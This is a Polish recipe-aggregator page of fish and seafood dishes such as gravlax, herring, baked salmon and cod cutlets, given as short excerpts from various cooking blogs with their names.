Gravlax 133

cytryny, wódką oraz posypujemy skórką z cytryny. Na końcu posiekanym koprem. Całość zawijamy w folię spożywczą i wkładamy do lodówki na dwie doby. Po tym czasie usuwamy z ryby wszystkie składniki, osuszamy z nadmiaru wody. Podajemy w formie cieniutkich plasterków. jogurt naturalny (1/2 szklanki)  koper chrzan, starty na tarce (2 cm) sól, pieprz Posiekany koper mieszamy z jogurtem naturalnym

Mango Papaja
Pstrąg Pieczony z Orzeszkami Pinowymii, Pietruszką, Rozmarynem,Szałwią, Cytryną i Czerwonym Pieprzem 165

pstrągi. Do drugiej miseczki wrzuciłam resztę posiekanych orzechów piniowych, skórkę otartą z cytryny i wymieszałam. Mieszanką z drugiej miseczki polałam pstrągi z wierzchu, posypałam ziarnami czerwonego pieprzu. Owinęłam ryby folią aluminiową i wstawiłam do piekarnika nagrzanego do 180 stopni i piekłam je 30 minut. Zachwyciliśmy się smakiem tego połączenia.  SMACZNEGO  życzy  BLONDYNKA

Blondynka Gotuje
Pieczony łosoś z warzywami i młodymi ziemniaczkami z koperkiem 156

winem białym. Przyprawić solą i pieprzem. Taką mieszanką zalać warzywa z łososiem. Wstawić do nagrzanego pieca i piec ok. 25-30 minut (ja piekłam 30 min.) W trakcie pieczenia ryby ugotować młode ziemniaczki w osolonej wodzie. Odcedzić. Wymieszać z masłem i posiekanym koperkiem (zostawić łyżkę do posypania ziemniaczków na talerzu). Doprawić solą i pieprzem. Łososia z warzywami wyjąć z pieca

Moja Delicja
Śledzie warstwowe 189

ostatni czas.  Teraz jednak nastał ten moment gdy sprzątanie dobiegło wreszcie końca, choinka została ubrana, stroiki Bożonarodzeniowe zrobione, prezenty zapakowane, są też pierwsze potrawy wigilijne: kapusta z grzybami, ryby w pomidorach, pierogi z serem, pierogi z serem i kaszą, są też ONE- śledzie warstwowe. Tylko pomyśleć że jutro o tej porze będę powracać z pasterki... o matko kiedy

Kuchenne aromaty
DORSZ ZESZPARAGAMI W SOSIE TYMIANKOWYM 148

szklanki bulionu. Hartujemy nim jogurt, stawiamy na ogniu. Dodajemy drobno posiekany tymianek, doprawiamy do smaku solą i pieprzem. Na talerz wykładamy szparagi jeden obok drugiego, na nich wykładamy porcję ryby, polewamy ciepłym sosem tymiankowym

Z Majeczką w kuchni
Cukinia Buddy'ego 192

przygotowana wg przepisu Buddy’ego Valastro ma mocny, wytrawny smak, podkreślony przez anchois i kapary. To dodatek z charakterem, który nie ginie w cieniu dania głównego. Najbardziej pasuje do ryby, albo do pieczonego lub grillowanego drobiu. Składniki: 1 średnia cukinia 3 ząbki czosnku 2 fileciki anchois (sardeli) 10 małych kaparów ostra papryka i sól 3-4 łyżki oliwy do smażenia

Trzeci talerz
Bazyliszek zaprasza na dania główne. Stek z wołowiny argentyńskiej kontra dorsz w cieście. Opinia po mojemu. Cz III. 222

Przy wyborze dań głównych można powiedzieć, że wymieniliśmy się z Mężem preferencjami. Tym razem on postawił na wołowinę, a ja na rybę. Oryginalny stek z wołowiny argentyńskiej z masłem ziołowym, frytkami i sałatką a'la feta to był z pewnością dobry wybór. Dobre gatunkowo mięso zostało przyrządzone zgodnie z zamówieniem tj. w formie średnio wypieczonej . Stek i wyglądał i smakował

Kuchnia po mojemu
Pasta z wędzonej makreli z suszonymi pomidorami 165

Blueberry Corner by "jagodzianka" Makrela to morska ryba. Na polskim stole gości dość często, najczęściej w postaci wędzonej. Widziałam w kilku sklepach świeżą – … Przeczytaj cały artykuł Post Pasta z wędzonej makreli z suszonymi pomidorami pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Kotleciki z dorsza w zalewie octowej 535

Blueberry Corner by "jagodzianka" Zawsze w okresie świąt Bożego Narodzenia przygotowuję tę wspaniałą przekąskę. Ryba z octem bardzo pasują do siebie. To danie ma … Przeczytaj cały artykuł Post Kotleciki z dorsza w zalewie octowej pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Dorsz w orzechowej panierce 91

Blueberry Corner by "jagodzianka" Dorsz w orzechowej panierce przełamuje wszelkie stereotypy na temat ryb. Kiedy byłam dzieckiem niespecjalnie lubiłam dania rybne. Nie wiem czym … Przeczytaj cały artykuł Post Dorsz w orzechowej panierce pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Dorsz zapiekany pod serową kołderką 67

Blueberry Corner by "jagodzianka" Powinniśmy jeść ryby 2 razy w tygodniu, dla naszego zdrowia. Ja staram się przygotowywać główny posiłek rybny chociaż 1 w … Przeczytaj cały artykuł Post Dorsz zapiekany pod serową kołderką pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Mule w białym winie 173

ciekawa jestem co tam znajdę, czym zostanę zaskoczona. Przez lata Makro dojrzało i zmieniło się dla nas - dla ludzi świadomych i poszukujących dobrej jakości produktów. Nas osobiście zachwyca wybór ryb i owoców morza, a ponadto mięsa - czy świeże czy mrożone - wybór jest ogromny, a dodatkowo sami możemy zdecydować czy np. jagnięcinę chcemy kupić taką z Polski czy z Nowej Zelandii

Plate of Joy
Pulpeciki z łososia w azjatyckim stylu! 213

groszku cukrowego, olej sezamowy, sos sojowy Łososia umyć, osuszyć i odkroić od skóry. Posiekać nożem na małe i ciut większe kawałki, aby jednak zachować fakturę ryby. Łososia wrzucić do miski, dodać jajko, posiekaną dymkę i kolendrę, sok z cytryny i sos sojowy, doprawić chili, solą i pieprzem, a na koniec wmieszać bułkę tartą. Masę dobrze wymieszać i uformować kotleciki

Plate of Joy
Lasagne ze szpinakiem i łososiem 122

Zapraszam wszystkich miłośników lasagne,szpinaku i łososia.Wiecie dobrze,że nie lubię ryb,ale to połączenie jest naprawdę boskie. Składniki: masło mleko mąka gałka muszkatołowa ( u mnie Kamis) sól łosoś świeży szpinak 2 ząbki czosnku płaty makaronu lasagne oliwa z oliwek ser Sposób przygotowania: Masło rozpuszczamy na patelni i mieszamy z mąką,gdy masa będzie gęsta dodajemy  mleko,redukujemy

Wielki apetyt
Tortilla z dorszem 108

łyżeczka mąki sól morska pieprz młotkowany z kolendrą (Kamis) 1 łyżeczka oleju rzepakowego tortilla pszenna 1 pomidor 1 mały por 1 jabłko 1 łyżka majonezu tymianek Sposób przygotowania: Rybę przyprawić solą i pieprzem, zamoczyć w rozkłóconym jajku i obtoczyć w mące. Smażyć na rozgrzanej patelni ( z kawałkiem papieru do pieczenia położonego na rozgrzanym oleju). Gdy rybka jest już rumiana

Wielki apetyt
Pizza 157

Każdą część  rozwałkować na grubość około 6-8 milimetrów .Na gołe ciasto poukładać listki bazylii,mięty .Posmarować tłuszczem ,lub keczupem,dodac cebulę podduszoną  ,kurczaka ,pokrojona marchewkę. Z rybą: rybkę umyta i wysuszona posolić ,popieprzyć i lekko podsmażyć na tluszczu.Kawałek ciasta rozwałkować ,ułożyc rybkę ,złożyć ciasto i piec jak pizze. Całość posypać serem .Pieczemy w nagrzanym piekarniku 220stopni

w mojej kuchni
Kiełkująca kasza z pieczarkami, łososiem i chipsami z jarmużu 174

pokrojonego w paski łososia. Całość doprawiamy solą i pieprzem do smaku, pamiętając o tym że łosoś jest słony i podgrzewamy tylko do uzyskania odpowiedniej temperatury. Pod wpływem ciepła ryba zmieni swój kolor na jasno różowy, a w środku pozostanie soczysta. Na talerzu układamy chipsy z jarmużu, dodajemy kaszę z pieczarkami i łososiem. Dodajemy pomidorki w plasterkach, które nadadzą całości

Moniki Smakołyki
Filet z dorsza na puree z awokado. 150

lubię ryb w klasycznej panierce , gdyż według mnie są ciężkie i tracą swój smak. Filet z dorsza na puree z awokado jest pysznym i lekkim daniem, smaki przenikają się nawzajem. Składniki: (na 2 porcje) 2 kawałki fileta z dorsza 1 łyżeczka bazylii 1 łyżeczka szałwii 1 łyżka oliwy z oliwek sól, pieprz 1 łyżka masła na puree: 1 awokado

Symfonia smakowa
Tajskie zielone curry z ryby 103

zawsze są tam przepisy na to czego szukam. Jeżeli szukaci inspiracji zajrzyjcie na blog Rasa Malaysia. Przepis tu . I niech was nie zniechęci wygląd. 450 g filetów z ryby 4 łyzki

Polska Zupa
Miętus a'la ,, wietnamski,, wąż 252

Fascynacje programem Luke Nguyen w Wietnamie. Oczywiście 3/4 produktów nie mam lub są tylko podobne. Ale podchwytuję pomysły. Było coś o 7 potrawach z kobry, potem o rybie z wężową głową z patelni. U nas podobne kształty ma węgorz , miętus i minogi. No więc miętus będzie udawał węża. Czytaj więcej

Buniabaje w kuchni
Sycylijska pizza z rybą 169

składniki trzymają się kupy i pizza jest bardziej syta. Zdrowo nadziana, smakuje każdemu, gotowa do zabrania wszędzie. Odgrzana na drugi dzień w piekarniku..jest jeszcze lepsza! Podałam ją do..ryby.  Sycylia to krystalicznie czyste morze pełne wspaniałych ryb.Nie mogło być zatem inaczej ! Składniki na ciasto -1 łyżeczka suchych drożdży -120 ml wody o temperaturze pokojowej -250 g maki

Z Kuchni Do Kuchni
Orientalno warzywna zupa z porów z łososiem 221

trawy, liści i ziela blendujemy "niedbale", tzn. tak, by zupa zagęściła się z pominięciem dodatku mąki, jednak nie do konsystencji kremu. Na chwilę przed podaniem, zupę zagotowujemy i dodajemy rybę, ponieważ nie potrzebuje ona długiej obróbki termicznej.  Talerz posypujemy natka pietruszki i podajemy z cytryną

Taste Of My Day
Śledzie w marynacie 284

lodówki przynajmniej na pięć dni. Po tym czasie śledzie są gotowe do spożycia. Takie śledzie można podawać na różne sposoby np. w śmietanie, oleju, sosie musztardowym. Kategoria: Przystawki , Ryby , WIelkanoc

kuchcikownia
Kotleciki z tuńczyka w oleju z ostrym sosem 220

łyżki kefiru 1 ząbek czosnku starty 1 łyżeczka wasabi łyżeczka pieprzu zielonego marynowanego sól, pieprz przygotowanie Fasolę rozdrobnić w blenderze, umieścić  w dużej misce. Dodać rozdrobnioną, lekko odsączoną rybę, cebulę, bułkę tartą, pietruszkę i szczypiorek. Wymieszać aż wszystko dobrze się połączy.Spróbować i w razie potrzeby doprawić  solą i pieprzem, płatkami papryki. Dodać jajko i wymieszać. Uformować niewielkie

Stare Gary
Twarożek z Wędzonym Łososiem 142

Twarożek z łososiem i koperkiem nie tylko nadaje się na kanapki, ale jest też świetną przekąską jeśli posmarujemy nim krakersy. Ilość ryby i koperku którego użyjemy do przygotowania twarożku zależy od naszych upodobań. Składniki: 1 opakowanie twarożku 3 - 4 łyżki jogurtu naturalnego lub kefiru wędzony łosoś kilka gałązek koperku pieprz Wykonanie: Twarożek przełożyć do miseczki i rozgnieść widelcem. Łososia pokroić

Mama Gotuje
Rolada z kremem z tuńczyka 178

minuty i ściągnąć delikatnie papier z ciasta. Jeszcze ciepłe ciasto zwinąć w rulon razem z pergaminem i odstawić do całkowitego wystygnięcia ciasta. Przygotować krem: Od tuńczyka odlać olej. Rybę, ser mascarpone, majonez, sok z cytryny, posiekany szczypiorek i pietruszkę włożyć do melaksera, doprawić solą i pieprzem i zmiksować na jednolity krem. Ostudzone ciasto rozwinąć zostawiając je na pergaminie. Ciasto posmarować

Mama Gotuje
Miętus z kwaśnymi grzybami 235

zastanawiałam się jak go zrobić ( ostatnio był chyba w sosie koperkowym ). Mamie przypomniało się, że jak pływaliśmy na spływy kajakowe często dusiło się miętusa z grzybami. Teraz oczywiście ryba jest ze sklepu , a z doprawianiem eksperymentuję. Czytaj więcej

Buniabaje w kuchni
Dorsz pieczony ze śmietaną i warzywami (Bacalhau com natas) 182

Kuchnia portugalska słynie z różnorodnych dań z dorsza. Oto jedno z nich. Kremowy sos i ziemniaki z warzywami świetnie podkreślają delikatność ryby.  300 g dorsza (u mnie mrożony) 1 szklanka mleka 200 g ziemniaków 1 duża cebula 1 łyżka mąki 5 łyżek śmietany 18% 250 g warzyw na patelnię z koperkiem Hortex 150 g twardego sera Olej do smażenia

VioletoweKucharzenie
Placuszki z tuńczykiem - zdrowa przekąska dla małych i dużych;) 203

musi) 1 duża cebula pęczek natki pietruszki sól, pieprz Przygotowanie: Jajko roztrzepać z mlekiem. dodać odsączonego z zalewy tuńczyka - nie rozdrabniać za bardzo, fajnie, jak w plackach są kawałeczki ryby. Posiekać drobno cebulę i natkę pietruszki - wymieszać z dodać do ciasta. Obie mąki wymieszać z proszkiem do pieczenia - połączyć z masą jajeczno-tuńczykową. na koniec dodać żółty

Kulinarne Inspiracje
Risotto z porami i łososiem 114

ryż wchłonie płyn i powtarzamy czynność - i tak dopóki cały bulion nie zostanie wypity przez risotto. Teraz dodajemy łyżkę masła i parmezan. Danie robi się kremowe. Teraz dodajemy rybę, delikatnie mieszamy i możemy podawać. Warto zostawić kilka kawałków łososia, aby ułożyć je na każdej porcji - tak ładniej wygląda

Kulinarne Inspiracje
Gravlax z łososia w kwasie z buraka 153

wierzchu wyłożyć marynatę i szczelnie owinąć folią. Wstawić do lodówki i obciążyć na 48 godzin. Z łososia usunąć marynatę i odciąć skórę. Posiekać pozostały koperek i wyłożyć na rybę. Podawać pokrojonego w cienkie plastry

SzczyptaSmaQ
Kolorowe szaszłyki z łososia i pomidorków z cukiniową falą 253

Czosnek obrać, przecisnąć przez praskę wymieszać z sosem i olejem. Łososia umyć, osuszyć, zdjąć skórę i pokroić w 2-3cm kawałki. Zalać marynatą,tak aby pokryła wszystkie całą rybę. Odstawić na 30 minut. Cukinię umyć, pokroić szczelinowym nożem w cienkie paski. Pomidorki koktajlowe umyć. Na patyki do szaszłyków nakładać na przemian składniki formując fale z cukinii. Piec na ruszcie

Pełny talerz
Łosoś na zielonych szparagach z sosem szodonowym (Sabayon) 215

sosem na bazie szampana. Sos Sabayon (zabaglione lub szodonowy) kojarzy się przede wszystkim z deserami. Jednak jego wytrawna wersja również jest warta wypróbowania i świetnie komponuje się z rybami. Polecam. Składniki na 4 porcje: łosoś 600 g filetu łososia (bez skóry i oczyszczonego z ości) 2 łyżki soku z cytryny drobna sól morska świeżo tłuczony kolorowy pieprz Szparagi 2 pęczki

Pełny talerz
Łosoś pieczony z paprykowo-serową kruszonką i warzywami 166

prostocie. Łososia nie trzeba specjalnie marynować, ani przyprawiać. Wystarczy oprószyć solą i pieprzem. Resztę smaku wydobywa z niego serek paprykowy. Od góry podpieczony, a pod spodem kremowy. Ryba pozostaje soczysta, a warzywa chrupiące. Jeżeli mam czas zostawiam na chwilę warzywa w oleju, ale zazwyczaj trwa to tylko do czasu nagrzania piekarnika. Polecam na szybki, zdrowy i smaczny posiłek. Składniki

Pełny talerz
Śledź w śmietanie z jabłkiem 157

łyżeczka płynnego miodu 2 łyżeczki posiekanego koperku sól i pieprz Śledzie opłukać, przełożyć do miski. Zalać mlekiem, odstawić na 2-6 godzin. Czas zależy od tego, jak słone są ryby. Następnie filety osuszyć. Skropić octem, odstawić na bok na 10 minut. Pokroić w ok. 3 cm dzwonka. Cebulę obrać, drobno pokroić. Jabłko obrać, pokroić w słupki lub zetrzeć na tarce

Pełny talerz
Łosoś i gnocchi w sosie szafranowym 176

Łososia przyprawiamy solą i pieprzem. Smażymy na silnie rozgrzanym oleju lub oliwie z oliwek – ok. 2-3 łyżki. Najlepiej ok. 3-4 minuty z każdej strony – jeśli ryba jest gruba, najlepiej pod przykryciem. Gotowego łososia wykładamy na gnocchi w sosie szafranowym, ozdabiamy szczypiorkiem i podajemy. Post Łosoś i gnocchi w sosie szafranowym pochodzi z bloga Poezja smaku

Poezja smaku
pstrąg smażony 234

Rajska wyspa. przepis na dwie porcje RYBA 2 sztuki pstrąga  mąka do obtoczenia oliwa do smażenia  sól Pstrąga dzielimy na porcje i solimy , smażymy z każdej strony na oliwie na złoty kolor  uprzednio obtaczając w mące . BISZKOPT KOPERKOWY 1 jajko 1 łyżka drobno posiekanego kopru 1 łyżka mąki pszennej sól i pieprz do smaku Oddzielamy żółtko

na gazie
Ekspresowa Pasta z Makreli z Puszki 130

sosem pomidorowym oraz rukolę. Wszystko razem zmiksowałam na gładką masę. Na końcu spróbowałam ją i doprawiłam do maku solą i pieprzem. Nie były to duże ilości tych przypraw, gdyż ryba z puszki miała już swój własny smak, a rukola nadała ostrości. Pozostało tylko pastę przełożyć do miseczki i nakładać na pieczywo. SMACZNEGO życzy BLONDYNKA

Blondynka Gotuje
Szybka i smaczna obiadokolacja 2564

pomidorami i oliwkami porcja dla 4 osób Należy przygotować: 250 g grubego makaronu (u mnie razowe penne) 2 puszki tuńczyka w kawałkach, w sosie własnym (każda po 130 g ryby) 2-3 ząbki czosnku ok. 80-100 g świeżego szpinaku 10-12 suszonych pomidorów z oliwy ok. 50 g ciemnych oliwek 1 łyżkę oliwy z oliwek 100 ml płynnej śmietanki

Ratunku obiad
Łosoś pieczony z frytkami i sałatą! 169

łyżki wody - sól Łososia kładziemy na foli aluminiowej, skrapiamy oliwą z oliwek, solimy, szczelnie zamykamy i pieczemy w nagrzanym piecu w temp. 220 stopni C, przez 13 -15 minut. Ryba będzie upieczona i soczysta. Idealna! Frytki pieczemy w nagrzanym piekarniku do temp. 240 stopni C przez 20 minut. Frytki dobrze jest skropić oliwą z oliwek z dodatkiem bazylii i chili

SMYKWKUCHNI
Frikadelle z dorsza z pieczarkami 204

Dorsz, najpopularniejsza z ryb - chuda, smaczna i bardzo zdrowa. Zamiast upiec ja w całości dziś pyszna propozycja na kotleciki rybne. Ponieważ dorsz jest mało wyrazisty w smaku, wystarczy dodać do kotletów pieczarki i już nabierają  charakteru. Gdy dodatkowo dodasz posiekane kapary kotlety będą super pyszne. Składniki : 4 filety z dorsza 1 jajko 200 g pieczarek 1 cebula 2 łyżki

Gotuj zdrowo!Guten Appetit!
Śledzie po kaszubsku 506

window.adsbygoogle || []).push({}); Śledzie po kaszubsku to danie, które idealnie sprawdza się jako potrawa na Boże Narodzenie i Wielkanoc, jako przekąska na Sylwestra, czy też inną imprezę… a miłośnicy ryb, tacy jak ja, jędzą śledzie po kaszubsku caaały rok, bo są naprawdę pyszne ;-)   Śledzie po kaszubsku – Składniki: 400g filetów śledziowych solonych w oleju (śledzie Matjas SEKO) 150ml oleju

Kulinarne Przeboje
Łosoś pod pesto i awokado na ziemniakach podany. 199

wierzchu smarujemy pesto. Awokado kroimy na paski, układamy na pesto i posypujemy parmezanem startym. Na patelni podsmażamy na oliwie łososia i wkładamy do piekarnika na 20 minut, aż ryba dojdzie w temperaturze 170 stopni, funkcja góra. Szybko i smacznie! Ziemniaki oczywiście możecie zastąpić czymś ciekawszym, kuskusem, albo zwykłą sałatką na rukoli zrobioną. Miałem jednak sporo ziemniaków z dnia poprzedniego

BaRepas
Kedgeree z wędzoną makrelą 180

jako wyśmienity pomysł na śniadanie (u mnie w charakterze obiadu, tudzież kolacji). Danie przyrządzane na bazie ryżu, jajek na twardo, curry w proszku, z dodatkiem masła lub śmietany i rybą, w kuchni brytyjskiej  tradycyjnie z wędzonym łupaczem. N iestety, u nas ten gatunek jest raczej trudno dostępny, dlatego zastąpiłam go wędzoną makrelą, która sprawdziła się doskonale. Potrawa z pewnością

Kuchnia Ellie
Stek z rekina ze spaghetti czosnkowym i salsą pomidorowo-brzoskwiniową 126

Pierwszy raz przyrządzałam rekina. Mięso jest dobre, bez ości, choć przyznaję, że nie stał się on moją ulubioną rybą. Niemniej w połączeniu ze spaghetti i słodką salsą wyszedł bardzo smacznie. Składniki (2 porcje): 2 steki z rekina sól, pieprz cytrynowy, czosnek granulowany łyżka soku z cytryny 4 plastry cytryny Spaghetti: makaron spaghetti (ok 150 g) 3 ząbki czosnku mała cebula

e-PrzepisyKulinarne
62. Pulpeciki rybne zapiekane w sosie koperkowym 144

opakowanie Sosu koperkowego Winiary 250 g rybnych filetów 1 mała bułka 1 jajko 1 cebula Przyprawa do ryb Sól, pieprz Olej do smażenia Bułka tarta do panierki 1.Rybę ugotować w osolonej wodzie przez 5 minut, następnie zmielić Bułkę namoczyć w wodzie, odsączyć Cebulę poszatkować Wszystkie składniki wymieszać razem i wyrobić na jednolitą masę, gdyby masa była zbyt luźna można

Jadło i czytadło
Grillowany łosoś w pomarańczowej marynacie pod kruszonką i sałatką z botwinki 167

pomarańczy, dodać wszystkie pozostałe składniki (czosnek należy zmiażdżyć) i dokładnie wymieszać. Filety łososia należy pokroić w kawałki. Na płaskie naczynie wylewamy połowę marynaty, na tym układamy rybę i zalewamy resztą marynaty. Wstawiamy do lodówki na około godzinę.  2. Przygotowujemy kruszonkę: Chleb rozdrabniamy na drobne kawałeczki. Masło roztapiamy, dodajemy pokruszony chleb i smażymy do czasu jego zarumienienie i uzyskania chrupkości

Jadło i czytadło
Pasta twarogowa z rybą w oleju i cebulką dymką. Pyszne smarowidło do pieczywa. 171

puszka filetów z makreli w oleju ( mogą być też filety śledziowe ) - cebulka dymka 2-3 szt. ( zielona i biała część ) - majonez - domowa wegeta ( ew. sól i pieprz ) Wykonanie Rybę wraz z olejem przekładam do miseczki,dodaję pokruszony biały ser i całość dokładnie rozdrabniam widelcem, dodaję drobniutko pokrojone cebulki, spora łyżkę majonezu i doprawiam do smaku. Mieszam. Odstawiam do lodówki

Kuchnia z widokiem na ogród
Kapusta w sałatce przenikniętej smakami Tajlandii i Wietnamu (nie dla kapuścianych głąbów) 236

Kiedy ją przygotowywałam nie zdawałam sobie sprawy, że sałata przeniknięta jest smakami kuchni tajskiej i wietnamskiej. Co jakiś czas powraca mi na nią smak. Używam jej jako dodatek do ryb, rybnych tacos, a także do wieprzowiny. W tym tygodniu znów „miałam smaka”. I to aż 3 dni pod rząd. Sałatka z kapusty insprow ana smakami Azji Składniki

Jem więc Jestem
Śledzie smażone marynowane 138

Przygotowanie: _______________________ Śledzie umyć i  panierować w mące,  rozbełtanym jajku, po czym ponownie w mące. Na patelni  dobrze rozgrzać olej i ułożyć ryby. Smażyć na złoty kolor na niedużym ogniu około 15-20 min , przewracając z jednej strony na drugą.W międzyczasie przygotować marynatę. Do garnuszka wlać wodę i wrzucić pokrojoną w piórka cebulę oraz przyprawy. Gotować

Gosia gotuje
Sałatka z tuńczykiem 320

wiem czemu robię ją tak sporadycznie, bo obie  z Mamą bardzo  lubimy tuńczyka. Tato jako stary wędkarz, zawsze się z nas śmieje, bo On tam ryby w niej żadnej nie widzi. Cóż, całej nie ma prawa być, bo nie tylko półmiska, ale i stołu by zbrakło :) Ma jednak trochę racji...tuńczyk w puszce często bywa tak rozdrobniony

Gosia gotuje
Śledzie smażone 136

świeżych wypatroszonych śledzi 3 łyżki mąki 1 łyżka bułki tartej sól, pieprz olej do smażenia Wykonanie: Śledzie umyć i osuszyć. W miseczce wymieszać mąkę, bułkę tartą, sól i pieprz. Rybę obtoczyć w panierce i smażyć na rozgrzanym oleju. Proste, klasyczne i smaczne danie

O kuchni z uczuciem
Łosoś w syropie klonowym 164

wielu marynat i sosów. Składniki: ½ kg filetów z łososia ze skórą do marynaty: 1 łyżka syropu klonowego 1 łyżka oleju sezamowego 1 łyżka musztardy 1 łyżeczka ulubionej przyprawy do ryb ¼ łyżeczki świeżo zmielonego czarnego pieprzu pęczek świeżego koperku, drobno posiekanego Przygotowanie: Filety z łososia umyć i osuszyć ręcznikiem papierowym. Przygotować marynatę mieszając wszystkie składniki. Łososia natrzeć przygotowaną marynatą i marynować

naRuszcie
Spaghetti z makrelą 178

Smaczna propozycja na szybki obiad z rybą. Makrelę równie dobrze można zastąpić tuńczykiem. Polecam na piątek i nie tylko. function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp']; for(var i = 0, len = versions.length; i var url='http://cookd.it/embed/ajax.php?action=check&recipe=http://coolinarnie.pl/2015/02/16239/spaghetti-z-makrela&blog=http://coolinarnie.pl'; url=url.replace

CoolinarniePL
Hiszpańska paella 359

dodałem do dania pokrojone w kostkę o boku dwóch centymetrów filety z dorsza i całość podgrzewałem jeszcze przez około 5 minut, starając się nie mieszać, aby nie uszkodzić kawałków ryby. Po tym czasie wyłączyłem ogień pod daniem. Na gotowym daniu ułożyłem pokrojone w cząstki cytryny i całość posypałem świeżą drobno posiekaną natką kolendry

Wyprawy kulinarne
SoczySTY Stek z tuńczyka z PEŁNOziarnistym spaghetti i prażonymi migdałami 264

cytryny oliwa z oliwek 250 g pomidorków koktajlowych Przygotowanie: steki z tuńczyka oprószamy słodką papryką i pieprzem, miód mieszamy z sokiem z cytryny, smarujemy rybę i odstawiamy w międzyczasie wstawiamy wodę na makaron, podgrzewamy odrobinę oliwy z oliwek na patelni, pomidorki koktajlowe nakłuwamy wykałaczką, wrzucamy na gorącą patelnię, dosypujemy migdały, podsmażamy makaron gotujemy zgodnie z informacją zawartą na opakowaniu

Luźna Kuchnia
Polędwiczki z Łososia na Pesto alla Genovese z Pomidorkami Śliwkowymi podpieczonymi z Oliwą z oliwek 159

Pesto alla Genovese .... kochamy je! Na tym talerzu są nasze ulubione smaki. Służy również jako przykład jak można wyorzysta ć rybę z puszki, w tym wypadku były to polędwiczki z łososia znanej Wam dobrze firmy Super Fish, niedawno wypuścili ekskluzywną linię Prestige i ten własnie produkt znalazł się na talerzu. Do tego zapiekane z oliwą z oliwek pomidorki śliwkowe, siekany

Blondynka Gotuje
Ravioli z łososiem i twarogiem 220

Dzisiaj małe pierożki z pysznym nadzieniem z wędzonej ryby i białego sera. Pyszne danie na obiad. Ciasto jest delikatne, ale zwarte a farsz wyraźny w smaku. Twaróg, wędzony łosoś i koperek to trio, które bardzo, ale to bardzo się lubi. Macie ochotę? Jeśli zrobicie naprawdę małe pierożki to można podać zarówno jako samodzielne danie albo np. z kremową zupą

Smaczna Pyza
Sałatka z sosem vinegrette i gotowaną rybą. 177

vinegrette: 2 łyżki ciepłej wody pół łyżeczki cukru sól, pieprz 3-4 łyżki oleju kilka kropel octu jabłkowego ząbek czosnku Przygotowanie: Kapustę umyć, osuszyć i pokroić na mniejsze kawałki. Rybę ugotować na małym ogniu w bulionie warzywnym, kiedy zmieni kolor na biały, wtedy będzie gotowa. Skropić ją kilkoma kroplami cytryny, w razie potrzeby doprawić solą i pieprzem do smaku

Gaździnka warzy
Polędwiczki z dorsza. 174

Bardzo lubimy ryby w każdej postaci- dziś przygotowałam na obiad polędwiczki z dorsza w panierce. Do tego ziemniaczki "księżnej", surówka z kiszonej kapusty i królewski obiad gotowy. SKŁADNIKI: 60 dag. polędwiczek z dorsza 2 jajka 1-2 łyżki mąki bułka tarta 1-2 łyżki oliwy z oliwek kilka kropel limonki, przyprawy: vegeta, sól, pieprz, przyprawa kamis- suszone pomidory z czosnkiem

Kuchnia Beaty
Duszony łosoś z koperkiem 175

koperkiem Doprawić odrobiną soli i pieprzu Zawinąć w folię aluminiową i piec w piekarniku rozgrzanym przez około 15-20 minut Podałam z kaszą i zieloną sałatą z jogurtem naturalnym. Rybę można także ugotować na parze lub usmażyć na patelni. Smacznego :) W myśl akcji

www.szczesliwakuchnia.blogspot.com
Tradycyjna pasta z makreli 157

kroimy w drobną kostkę. Makrelę obieramy dokładnie z ości i przekładamy do miski. Do makreli dodajemy pokrojone jajka. Szczypiorek myjemy i drobno siekamy, po czym dodajemy do miski z rybą i jajkami. Dodajemy majonez, doprawiamy do smaku solą i pieprzem i dokładnie mieszamy. Tak przygotowaną pastę nakładamy na pieczywo. Można też wszystkie składniki po prostu zmiksować, ale ja wolę

Kulinarny Świat Konczi i Szpileczki
Rybka z ziemniaczanymi łuskami 124

Piątek to doskonały dzień na danie z rybą. W moim rodzinnym domu, właśnie ten dzień był przeznaczony na dania rybne - królowały rarytasy które do dziś goszczą na moim stole.  Dzisiaj chciałam zaprosić Was na rybkę z ziemniaczanymi łuskami, tę wersję odkryłam  dość niedawno ale mojej rodzinie spodobał się ten sposób podania. Rybka z ziemniaczanymi łuskami SKŁADNIKI: morszczuk

Kulinarny Świat Konczi i Szpileczki
Karp z piekarnika z cytryną i cebulą 177

naczynia żaroodpornego. Obsypuję w obu stron solą, pieprzem i pietruszką. Skrapiać sokiem z połowy cytryny. Drugą połówkę cytryny kroję na plasterki. Cebulę również kroję na plasterki. Na wierzchu ryby układam plastry cebuli i cytryny. Przykrywam z wierzchu folią aluminiową i wkładam do piekarnika nagrzanego do 200 stopni na 30 minut. Następnie ściągam folię i piekę jeszcze 5 minut

Kulinarny Świat Konczi i Szpileczki
Poniedziałkowy "fit" - Jajka z nadzieniem rybnym 194

lekko osolonej wodzie. Studzimy i obieramy, a następnie kroimy na połówki i wyciągamy delikatnie żółtko ze środka, nie uszkadzając białek. Żółtka przekładamy do miseczki i dodajemy do nich rybę w sosie pomidorowym. Całość rozgniatamy widelcem. Dodajemy drobno posiekany szczypiorek oraz rzodkiewkę, doprawiamy pieprzem i mieszamy. Przygotowanym farszem napełniamy białka. Do przygotowania tego przepisu wykorzystałam Filety z makreli w sosie pomidorowym

Kulinarny Świat Konczi i Szpileczki
Sałatka śledziowa - śledzie w sosie musztardowym 369

wodzie ok godzinki, aby nie były za słone. Wymoczone śledzie kroimy na małe kawałki i układamy na półmisku. Cebule obieramy i kroimy na półplasterki, które układamy między kawałkami ryby. Kawałki cebuli, które Nam pozostaną siekamy drobno. Śmietanę łączymy z majonezem i musztardami. Do sosu dodajemy curry, kurkumę i posiekaną drobno cebulę. Sosik dokładnie mieszamy i  polewamy nim przygotowane śledzie

Kulinarny Świat Konczi i Szpileczki
Pikantny łosoś z grilla z kakao 145

stron. Posypać obficie powstała mieszanką przypraw lekko ją wklepując. Łososia grillować około 20 minut lub do momentu aż da się go łatwo dzielić na płaty. Należy pamiętać aby ryby nie przesmażyć bo stanie się sucha. Grillowanie łososia na cedrowych deskach nada mu wyjątkowy smak i aromat Deski cedrowe można kupić w sklepie DYNAMIC Centrum Grilla oraz online na www.sklep.dynamic24.pl Pikantny

naRuszcie
